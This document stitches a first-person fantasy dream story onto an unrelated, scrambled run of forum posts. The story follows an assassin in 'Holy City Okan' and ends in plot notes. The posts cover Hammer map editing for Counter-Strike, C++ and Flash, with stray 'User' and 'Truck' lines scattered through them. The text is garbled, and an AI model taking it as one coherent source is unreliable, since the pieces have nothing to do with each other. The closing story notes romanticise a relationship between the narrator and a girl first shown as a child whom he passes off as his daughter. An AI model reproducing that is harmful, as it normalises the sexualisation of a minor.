"S'better than staring at the back a' your wrinkled dome all day."

"Do you talk to your commander like that, boy? If one of my men talked like that to a superior officer he'd get his god damn teeth knocked down his throat."

"Haha, I don't have a commander, I'm a specialist."

"What do you specialize in? Pissing people off?"

"No, just you, General."

"I shoulda figured as much. Anyway, let's get serious. You've got some explaining to do. What the hell are you doing all the way out here, and why would a god damn Finisher be after that little girl?"

I really didn't remember how I got where I was.. so I made something up...

"I was fighting a sorceror and he hit me with a spell. Next thing I knew I was on the beach and saw Coso chasing those people. I owed him one for sticking a knife between my ribs once so I decided to help them get away. He apparently learned a few new tricks since I last saw him so-"

General Souther cut me off.

"I don't need to hear your life story, son, I know you killed Coso and I don't care how you did it. I take it you have no idea what he was after them for, then."

"Tch, nobody ever wants to hear about how I kick ass... I know he was after them because somebody paid him, Coso is... or was, a mercenary to the core. I haven't a clue who hired him, though."

"That doesn't do me any good, talking to you has been a waste of time as usual."

General Souther turned to leave as he spoke, it looked like some mages and soldiers were waiting for him now over by the building I came from. I really was expecting a thank you for all the effort I went through...

"Yeah. You're welcome for saving that kid. I feel sooo appreciated."

He turned and looked at me with his mean face.

"Keeping the townsfolk from kicking you out into the desert is my way of thanking you. You're causing a lot of trouble by coming here."

Can you feel the love? These people really hate Empire soldiers! Jeez! I just nearly killed myself saving the life of a little girl from this place and they won't even give me the time of day! I mean... it started with me just wanting to get back at Coso, I know... but NOBODY could have blamed me if I didn't try to bring that girl back to life. THAT was a freebie, dammit! What's the matter with these people!? Ahem. Sorry about the rant. My dreams get pretty emotional.

!!! More ascii removed !!!

Now that I could walk again I decided to go buy a horse... and a map... so I could figure out where the hell I was and go home. I had money but I knew it wasn't the currency they used here, and I'm sure it would just piss people off if I tried to convince them to take Empire money, so it was bartering time. This town was actually pretty big, there had to be at least 15000 people living inside the wall, and probably another few thousand living by the water fishing and farming and crap. Some people stared and muttered to each other as I walked past and others turned around and went the other way. At this point I decided it wasn't that the people didn't appreciate me saving that girl, it's that they didn't believe I did it. They simply could not accept that an Empire soldier helped someone, at the very least not without ulterior motives. I saw what looked like a fairly large and well-rounded store and went inside. It was called "Lion Heart" and had an overly ornate sign depicting two lions facing each other and an angel in between them. When I went in the two customers that were inside went out. I went straight up to the man that looked like he was in charge, a husky man in his early thirties wearing a thick leather apron and sporting one hell of a mustache. He didn't look too happy that I came into his store...

"I'll trade you this Finisher's Spear for your best horse (I saw a stable around back of the place). It's worth more than everything in this store... good deal, don't you think?"

He continued to look pissed off, and wouldn't even look at me while he spoke... he just continued to act like he was busy with something.

"I wouldn't give you a lame horse, or a lame horse's shit for that."

This was a little surprising to me... most people know that magical things, especially those created by powerful sorcerors are typically very valuable...

"Do you know what a Finisher's Spear is? You could sell this for-"

People like to cut me off in this town. And he was mad now.

"I damn well know what it is. And we don't want your black arts or your demon weapons in this town, you hear me?!"

Hooboy... the fact that this city is called "Holy City Okan" would have been useful information to know BEFORE I came in here... but hey! Who ever said that I use black magic! I mean, I do... but he couldn't possibly know that!

"Hey, who says I use black magic?!"

"Nobody could hold that cursed spear bare-handed without being paralyzed by fear if they weren't a master of demon sorcery!"

Bugger is too damn smart... what the hell do I do now? How am I gonna get a horse if nobody will take my money and nobody wants my evil soaked loot... since when do Merchant's know so much about magic anyway? What kind of town IS this?! I mean, it's not like I'm gonna starve, since I'm wearing a Finisher's cloak... but it's HUNDREDS of miles back to the Empire!

"Also we have a no-shirt no-service policy."

Gehehehe... I'm not the one who lit my damn shirt on fire... it was his holy friends that decided my shirt was buddies with the devil and needed to be purged of evil...

"Okay, look-"

I was interrupted... again... but this time it was a good thing. It was the mother of that girl! The one adult in this town who couldn't POSSIBLY hate me! Right...? I mean, she was there when the Finisher offered to let me go if I let the girl die, and I attacked him anyway! She HAS to know I'm on the up and up!

"Dear! This man brought our little girl back to life! Show him your manners!"

The man looked a lot less big and mighty all the sudden... but still said, "Bastard probably used black magic to bring her back... now she's cursed to-"

"You LISTEN to ME! I will NOT hear ANY MORE unkind words about this courageous and honorable knight who risked his own life to save our precious daughter!"

At this, the man had been thuroughly quelled by his wife.

"I suppose (he said this very grudgingly)... I could offer you one of my horses to show my gratitude... for what you did for my family."

"You'll give him our FINEST horse, and you'll stop using that tone if you don't want to sleep in the stables!"

"Yes, dear..."

He shuffled off to find a saddle or something, I dunno. The mother looked at me with a very kind expression. She was really quite beautiful. A lot more beautiful than a 30-year old woman who has had at least 3 kids ought to be. We're talkin' perfect here... and what she was wearing could barely qualify as more than a negligee or some other kind of undergarment. I think she had been taking a snooze since the incident like I had.

"I could never thank you enough for what you did this morning... you'll always be welcome here in our home. If there's anything I can do for you before you leave let me know."

Why did she have to be married?! I REALLY wish I had known this was just a dream at this point. It might have been worth the complete lack of story afterwards... I woulda been all over her... Ahem, enough of my perversions. At this point the most... 'enthusiastic'... boy, who I'm fairly certain is her son poked his head in the front door. He and the two sisters had been listening outside.

"He said he wants you to kiss him and make him feel good!"

Ehehe... heh... heh... that's what I get, I suppose. Earlier, I was imagining her husband to be a scrawny little guy who wouldn't be a threat to anyone. I mean, she had him wrapped around her finger and all... but he already freakin' hated me. I'm just glad he wasn't within hearing range. And wait a minute! The way that damn kid said it makes it sound a LOT worse than how I said it! Also, I don't remember his name so I'm just making one up and going with my Streets or Rage theme. Before I could say anything stupid and incriminating, which I'm sure I would have, the mother turned on the scold-o-matic.

"Samuel! Behave yourself! This man has had to deal with enough trouble already!"

"Wha-at! That's what he said!"

Damn kid! Shut up!

"Go outside and play with your friends this instant!"

"Awww..."

He turned around and ran off, the sisters giggled a lot and ran off too. Precocious little scamps. I hope that kid falls down and scrapes his knees or something... I proceeded to say something that the mother chose to hear in a way that made sense to her.

"Kids these days. It's that darn music they listen to."

"Oh he's always been like that, he just loves to cause trouble."

"Well let's hope he doesn't try to be like me..."

The mother saw something that I didn't outide and looked at me with a very grave expression. Then she opened her word hole and spat sentences at me.

"I know it's harsh to say this, but it would be best if you left town as soon as possible. Personally I don't care if you really have had dinner with the devil like so many here think. But you have to watch out, the only reason the mages here didn't kill you in your sleep is because General Souther wouldn't let them. Even he can't keep them in check for long."

"I can tell, the good General told me the mages wouldn't come near me... but I know he was lying now, I'm sure he had to beat them back with a stick... why does everyone here hate Empire soldiers so much, anyway?!"

She hesitated for a moment.

"The children aren't old enough to remember... that's why they don't avoid you. Even I thought every Empire soldier was a heartless murderer until you came along. A squad of Empire soldiers came to this city 12 years ago... it was the last time we've let anyone from the Empire in our city until now. I don't know a lot of the details, and I don't know why they did it... but they killed hundreds of us... men, women and children... it didn't matter. They laughed as they cut down innocent people who pleaded for their lives... nobody ever talks about it. We all just try to forget."

Jesus christ. Damn. Well, at least I know now. I had no idea I was working with people like that...

"Whoa... okay. You don't have to tell me anymore... except, if you know who they were or at least what banner they were flying I can have them hung by their entrails as soon as I get home."

I meant it too, even if I was a field agent I was a high-ranking officer in the military. It's the sort of thing I had enough pull to do. She looked a little taken aback by my words... if only for a moment.

"I... can't recall. It was too long ago and I was hiding in the cellar. I didn't get a good look at them. Although the thought of there being some justice is a pleasing one."

I like her style. People who are all lame and like "Killing them wouldn't bring back the people that died it would only cause more suffering blah blah blah" totally suck. Yeah it would cause suffering! That's the whole point! Suffering for those sons-of-a-bitches that killed your friends and family! Revenge is a wonderful thing to have! Ahem, anyway. At this point Mr. Unappreciative came back to give me some more attitude and annoy me. He was simply incapable of at least faking a few pleasant words.

"Your horse is out front. Try not to trample anyone on your way out of town."

I hate this guy. I guess he built up some more anti-wife courage while he was away... I'm sure he regretted it later.

"I'VE HAD IT WITH YOU! GET OUT OF HERE YOU WORTHLESS-!" she screamed. She didn't cut off... I just plugged my ears and ran outside.

At least the horse really was ready and didn't have anything wrong with it. General Souther was waiting for me by my brand new steed. His arms were crossed and he looked a little worried.

"You'd better saddle up and get on outta here, boy. I didn't wanna have to tell ya but the mages are trying to form a mob to get rid of you."

"It's always something..."

"They seem to think you've come here to scout the defenses so that the empire can send in troops and take over."

"I'm not a damn piss-ant scout. That's about as low-rank as they get."

General Souther suddenly looked a lot more serious than he ever had before.

"If they knew who you really were, they'd already have killed you."

I hopped onto the horse and got serious too.

"You sound so sure that they could catch me. I'd ask you to tell me how you ended up in this town... but I really don't want to have to hurt anyone, I think I can hear them tying a noose..."

That last part was a joke, and I said it with a smirk. As I started to ride off General Souther said one last thing. He knew what my job was as well as I did. I effectively had the same profession as lovable old Coso... I'm writing things in such a way as to have more dramatic effect for the reader. Shut up.

"I hope you never have official business here, assassin."

Without incident, I left town and headed East.

I have no recollection of the events between my leaving Holy City Okan and arriving at the Capitol city of the Empire. Also approximately 10 years passed between my returning home and the next set of events. I was awaiting the arrival of some people I was intended to work with in a dark and rainy alley between two buildings. Across the city at least a quarter of a mile away I could see a tall black tower through the gloom. So tall in fact that you could not discern the top of it. Lights pouring out it's windows kept rising into the sky until you could no longer see where one ended and the next started. That was part of some sort of headquarters for the Empire.

I still had the Finisher's spear and cloak after all that time, and I specifically noticed that I hadn't aged a single day because of the cloak. Normally people who had Finisher cloaks and Finishers themselves would be in a great deal of danger because obviously a lot of people would be willing to kill someone or battle a Finisher to get one of their cloaks... but there were severely high, nigh unreachable requirements for being able to even wear one without being cursed by it. Like the merchant said, one must be a master of demon sorcery to use such a thing effectively... and I was one of very few capable. In fact, it seemed as if the magic I used was forbidden even in the Empire except under certain circumstances like allowing specialists like myself to use it.

I was getting very bored and very irritated waiting for these guys... they were supposed to be here before me. When they showed up I saw that it was a team of Empire soldiers ten strong. They all looked like they were well-trained as warriors. Their leader told me that our orders were to head out to Holy City Okan. The Empire wished to install their own governor in the city, for it was an important city in the path of expanding to the West. Apparently they tried this a few months ago and the governor was violently kicked out of town... he didn't survive long after returning to the Capitol. They intended for me of all people to be the next attempt at installing a Governor... and it had been decided that this team of elite soldiers would be protection enough from the dissenting citizens. Normally I'd object to the whole thing but no matter what I did a governor would eventually take over that city, even if he had to massacre half the population just to do it. It might as well be me, I can trust myself to be fair to them at least, even if they were total dicks to me in the past.

I actually remember the journey back to Okan. After we left the enormous city that was the Empire's Capitol there was a distinct difference in reaction to seeing Empire soldiers. People in the Capitol would barely even notice us, or occasionally throw a friendly greeting our way. But on our way through a small burg people shut their windows and locked their doors, as if a glance from us could mean death.

Only one part of our travels stood out in particular, and that was when we were only a few miles away from the city and stopped to rest for the night. It was a dry and sandy climate, but couldn't qualify as a desert. You could always see another patch of trees down the road, and shrubbery was hardly uncommon. We sat in a circle around a fire... or more of a semi-circle with a floating point across from it. The soldiers all stayed out of arm's reach from me as if I might suddenly lash out at them. Nobody trusts an assassin, I guess.

While the soldiers muttered to each other and further ostracized me I saw several things lurking in the dark. One of them made some kind of crunching sound and all the soldiers shot to their feet and grabbed the hilts of their swords.

"What was that?! Does anyone see anything?" Their captain asked.

"Yeah. We're surrounded." I casually responded.

One of the soldiers had a worried look on his face, and loudly whispered, "Bandits...?!"

"Like anybody would be stupid enough to attack us... it's animals." I calmly replied.

I could tell it was a pack of some large anthropod beast, they we're standing hunched over in the dark about 30 feet away in every direction. There had to be at least two dozen of them. I hadn't stood up. I was just sitting on a log and gnawing on the bone of some animal. The soldiers had begun to stare at me with looks of disbelief.

The captain sounded none to pleased with me, and queried, "You don't seem worried! You just gonna sit there?"

"Your job is to protect me, isn't it?"

"That's our orders..."

"Well go earn your pay!"

Now all of the soldiers looked displeased and grumbled indecent words, but they formed a circle around me and advanced towards the beasts. I moved on to picking my teeth and I really paid no attention to the fight. I heard some yelling, and some roaring... and some high-pitched whining noises like a dog yelping as the soldiers undoubtably stuck swords in the monsters. I was kinda actually hoping the soldiers would lose, or at least get the crap beat out of 'em. An excuse not to go back to Okan would have been just dandy.

-----------------------------------------------------------------

This is the end of what I had time to write before I got distracted and forgot most of everything. Everything after this is just notes that are in the order I remembered them after I got back to writing it down. Dreams fade fast, I'm sure there was more, but that's all I got down. If you actually read everything up to this point you can write a 100 word essay on why sleeping too much fun. This may earn you an undetermined amount of points. Only the first few essays will get points. Yes, I know it's awesome to hide something like this in the middle of something most of you probably won't read. If Edan or that other guy writes something good again they'll get a double score for a combo.

-We arrived at town I had a terse argument with Souther. About what, I can't remember.-

-As Evening set in and we claimed an unused building we were attacked from all sides. Men on roofs of buildings with bows and arrows attacked first to little effect, the soldiers have very thick armor and I was behind them.-

-We backed off and ended up getting caught between two buildings with no way out. Except up... but only I could manage that. Even if the other soldiers were acrobatic enough they'd never have done it in that armor.-

-On both sides there were about 20 men with spears and round shields. The shields were silver and were designed with three crescents. Their spears were unremarkable other than that they all hadThey were mostly unarmored but held a massive advantage against our weapons given the confined space. Behind each group of men was an older man in white robes that looked just like the people who I saw earlier as I was passing out.-

-My soldiers weren't panicking but they knew they were totally screwed. I saw the old men in robes raise their hands at the same time, and all the enemy soldiers held their shields up to their faces. I yelled "cover your eyes" but it was too late. There was a bright flash, which I avoided most of, and the enemy soldiers charged forward. In the time it took me to jump and pull myself onto the roof of the shorter building my soldiers had already been killed or fatally injured.-

-Pact with demon.-

-Girl forced out of town.-

-Mother leaves with other daughter.-

-I bring the girl with me back to the Empire, and Empire sorcerors notice she has demonic power. I start trying to cover it up by saying that I just found her and she was already like that, but they don't listen and cut me off because they detect that she has the same blood as me. Empire mad that I did an unauthorized demon magic transfer, but I cover it up by saying she's my daughter, which is the only legal way to give someone demonic power since it can't be avoided. Then things get extremely awkward when we fall in love. Some nosey officials or nobles ask too many questions about us so I use my political pull to have them shipped overseas somewhere.-

-Well, I love me so much... and after I ressurected you you're more like me than any other girl... it's only natural, right?-

-I love you too, even if you are a coceited bastard.-

-You've got something on your vanity, Narcissus.-
User
More hammer question....

I'm trying to make a bunny hop kz. Ive looked at func_train and i do not understand this. All i want to do is make the object move under a water brush when a player lands on it, and not only that. How do i also make the water brush water(which i figured out..) but also teleport players when they fall into it? Do i have to make two brushes one water, and one under the water that has the teleport function? please help inform my poor unrefined knowledge.
User
How to Disable buy zone ?

When i create object with: info_player_deathmatch , he automaticly have buy zone around his spawn point.

How to disable the buy zone around his spawn point(object)?
User
you can't ignore errors just fix them ! the leak error means that there is a point in your map that has a "leak" that means that your map isn't air-tite and there is a place in your map that connects with the black void outside of your map ( very bad ) that needs to be plugged up ( if you cant find the leak then go to map/load pointfile and trace the path back to find your leak )

PS: an entity doesn't count as a "solid object" so if an entity is connecting with the void outside than that causes a leak error to
User
you need to construct it out of brushes

just like you would any other object ...
User
Ugh, everything was good, i made the trigger_push on a ramp and then i tested it and realized you need to get to the end of the ramp for it to activate so i clicked on the ramp and clicked Ctrl + T and it said something about new entity or keep the current so i clicked Yes but nothing popped up so i went to map ---> entity Report and click on trigger_Push and click Delete and it said "delete Object" and i clicked yes, so when i put the entity on the other ramp it was gone......it was gone in game but not in Hammer....so how do i make it visible in game again....
I just look through 3D view and click one object then press and hold ctrl and '' G '', while holding ctrl and '' G '' I click on more objects.
User
Sure thing, just download the script from http://www.molkman.de/files/swf_fix.zip upload it somewhere and add this code right after the </object> tag:

<script type="text/javascript" src="swf_fix.js"></script>

Of course the url has to lead to the folder you put the file.
Truck
User
eh i cant create spawn point or light can some 1 help??
when i press the tingy [light bulb] my right hand side Categories is entitles
Object have nothing y?? when i press the down arrow key
Truck
User
You can go ahead and try carving that thing but it's going to be a complete mess. It might not even compile.

Out of a certain morbid curiosity though, I did make a hollow sphere out of only triangles.

This is NOT a good idea. BSP is about blocks not individual triangles.

But anyways, here it is:


Updated SuperJer Object Library: http://superjer.com/lies/SuperJer.ol

Just DO NOT expect it to work out all peachy.



Do you just want a spherical room? But with no walls on the outside? That can be done somewhat safely if you just turn my hollow sphere inside-out.
forget it, now i just want to know how to make my car visible. i have checked the cars object properties > invisible and it says no but still i cant see my car in-game
User
i have a question again lol..... n way if you've ever been to a map awp_skeet or awp_snow sk the spawn entity changes every round to one round the t's are launched out of a jump thing and next round they r in building wit awp, then launched, then in buildings it just switches each time and the ct do it as well so when t's are in building the ct's are been launched could someone plz help me out here ty



ohh and one more thing how do u make it so when the player goes on this object/ area it shoots you out faster or makes u run like in he_glass2 or awp_snowsk , surf_ski when u get out of the gun roo there is that sudden burst somtin like that?
"superjer" said:
You can click on the object again to get the circular "handles" to rotate stuff.

But you shouldn't use that.

I would recommend using VM to grab all the vertices on one side and move them all up or down to create different angles.


Thanks, i got it now
User
You can click on the object again to get the circular "handles" to rotate stuff.

But you shouldn't use that.

I would recommend using VM to grab all the vertices on one side and move them all up or down to create different angles.
"sportsmant" said:
is crates just a wall with a crate lookin texture or sumthing. or is it an object?


Lol, i had the same promblem when i started but it's very simple. Simply pick your Block Texture or any other texture you would like to use and go to your block tool draw a block with your brush where ever u may want the block on the map and go to your side view click the block you have just made and rise it up like a wall.
User
is crates just a wall with a crate lookin texture or sumthing. or is it an object?
User
In the Ctrl+M window you have to choose which AXIS to rotate around, X, Y, or Z.

If you are rotating a ladder, you want Z.



-------------------------------------------------------

OR you can use the Selection Tool (Shift+S) to rotate. You already use it to move stuff.

Just click on an object until you get circular handles. Drag them to rotate. Hold SHIFT and it will only rotate 15 deg. at a time!! Neat!!
User
BEFORE rotating and object like a box, use the Fit button and manual adjustment to get it to look right.

THEN turn ON Texture Lock. (tl button)

THEN rotate it all you want. The textures will rotate with.

-------------------------------------

Or you can fix them manually. The texture window (Shift+A) has rotation, scaling and shifting controls which allow you to move the textures however you like.

I do not have time to do the textures for you, sorry. I am working on McDiddy's 3, another cartoon (surprise), music, a game engine, and JOB WORK.
User
Most tutorials out there really suck.

They like to just show you code, and not teach what it means.

I would be happy to answer C++ questions on the forums here. Be a nice change from all the same Hammer questions over and over again.

--------------------------------------------------

You should only use #include on header files, not .cpp files. It will include anything you tell it but you will paint yourself into a corner including .cpp files.

Using a makefile is one way to compile a C++ program. The makefile, among other things, lists all the .cpp files in the project.

In an dev environment like Visual Studio, the .cpp files for the project are listed in an explorer-window or something. It's the same thing.

#include <filename.h> is for STANDARD & LIBRARY headers only, like windows.h, stdlib.h, direct3d9.h, etc... If you want to include your own files you should use #include "yourfile.h"

--------------------------------------------------

Declaring a struct:

[code:1]struct MONSTER
{
int type;
int hitpoints;
int posx;
int posy;
}[/code:1]

Instantiating an object defined by a struct:

[code:1]MONSTER mon;
mon.type = 5;
mon.hitpoints = 100;[/code:1]
OR
[code:1]MONSTER *mon = new MONSTER;
mon->type = 5;
mon->hitpoints = 100;[/code:1]

cin and cout are stupid. You should be using printf and sprintf and fprintf.
How do I get it so if I rotate an object, the texture stays on it?



Heres a screen: My Crates don't really look like crates do they?





How do you make it so the entire crate texture fits on it and doesn't change no matter how you move it? My doors never look like doors because my textures are always cut off, and when I move, and rotate objects, the texture moves! How do I get the textures to fit on my object?
User
Umm... not much?

func_illusionary makes an object non-solid. You can see it but you can't touch it, you just go right through.

Sky behind a non-solid object sounds like.... sky behind a non-solid object. That's it.
User
Well it should.

You are clicking on your OBJECT right? Don't click the button twice.

You have to click in a 2D window too, not in 3D.

And what it really is is you click on an object when it's ALREADY selected (red). Make sure you don't drag it, just tap it a little bit. Be gentle.

Any better?
Truck
User
You can also get to your selected object's properties by pressing Alt+Enter

---> which I prefer since I do it all the time.



If you don't have armoury_entity in your list:
http://www.superjer.com/fgd.php
Truck
User
Like I said:


The func_ladder object is supposed to be invisible. All a func_ladder does is make a 'zone' where you can climb. You can't see it.

In order to tell the player "HEY YOU CAN CLIMB HERE" it is helpful to put something that LOOKS like a ladder there too. You can make this part however you want. My recommendation is here:

http://www.superjer.com/learn/func_ladder.php
Truck
User
The func_ladder object is supposed to be invisible. All a func_ladder does is make a 'zone' where you can climb. You can't see it.

In order to tell the player "HEY YOU CAN CLIMB HERE" it is helpful to put something that LOOKS like a ladder there too. You can make this part however you want. My recommendation is here:

http://www.superjer.com/learn/func_ladder.php
User
1st, you should be carefull about using more than 8 textures. The compilers have this weird 8-texture limit they like to complain about sometimes.

Lose 4 wads if you can.

func_vehicles are one of the least friendly entities around. I do not know how to get them to work. I've made a ton of 'em and sometimes they work and sometimes not. Mystery.

Just make sure your vehicle faces EAST when you build it.
Maybe it disappeared because it fell or moves way too fast? I dunno.

Glass:
To make glass, select your glass object and Ctrl+T it. Then choose func_breakable or func_wall (depending on whether you want it to break). Make it see-through too: set RenderMode to texture and FXAmount to 120.

You can use any number from 0-255. 0 is totally invisible and 255 is totally solid.
User
Make the object part of an entity. For plants and stuff, use a func_illusionary, then it will be non-solid. For fences, add a CLIP for to block players. func_wall will also work but it is super-solid, blocking EVERYTHING including bullets. For most partially transparent objects, you would want bullets to pass through.

Whatever you make it, set the properties like this:
RenderMode = solid
FXAmount = 255


This will make the black/blue parts invisible.

This works on many visible entities like func_wall, func_door, func_illusionary, func_breakable etc. etc.
User
The engine is about 60% done overall, and 90% to single & multiplayer playability (but missing lots features). Right now it has basic but accurate physics, 2D/3D rendering, a cool input system, unfinished netcode, a fully working console, and lot's of neat little enginey things.

It is written entirely in C++, technically, but the style is more like C. It's not very object oriented. I hate OOP, it should go to HELL AND DIE.
User
From www.vlatitude.com

Quote:
Q. What is this "Bad Surface Extents ????/0" error?
A. This is most commonly caused by having a really large brush. Sometimes a brush doesn't necessarily have to be too large, but if the texture is scaled down too small on it, you can still get this error.

The way compiling works is that on a standard texture scale (1.0) the compiler will break that texture up according to it's scale. In the case of 1.0, it doesn't have to. However, when you scale down the compiler has to make more cuts. The lower smaller the texture becomes, the more the compiloer has to cut. If it has to cut an insane amount of times, you can get this error.

On the flip side, scaling too large can give you this error as well. The solution? Find the offending brush and cut it into two or three smaller pieces using the clip tool. This will generally solve around 95% of the problems associated with this error. However, in some cases, this error can also be generated when you have an invalid shape. These generate floating point values that cause problems during compile. You may not know what that means, but WorldCraft usually does. Go into WorldCraft/Hammer and click on map > Check for Problems. This will point you to the offending brush and either fix it for you, or allow you to delete or fix the brush yourself.


Notice that the game gave you coords too (-320,0,448)

If you go to that location in Hammer, the offending object should be nearby.
User
This is how I did the buttons in McDiddy's 2:


[code:1]
_root.clicker5.onRelease = function(){ gotoAndPlay( "Scene6", "explosion" ); }
[/code:1]


clicker5 is the <Instance Name> of my button.
Scene6 is the name of the scene the button goes to.
explosion is the name of the frame the button goes to.

So when you click clicker5, the movie plays from the "explosion" frame in Scene6.


If you want something to move (an arm) make it its own object and put it on its own layer and give it a motion tween.
Truck
User
i don't care and i am not an inanimate object as i am shogun not shotgun

*utters under his breath*

dickhead would have thought they would have got it by now
Truck
I found this game on another forum and thought I might as well leech it over here.
The object of the game is to count down from 1000 one post at a time.
You can not double post so you must wait until someone else posts, then you can post.


I'll Start: 1000
User
Pole socking and storm chasing.

The object is both.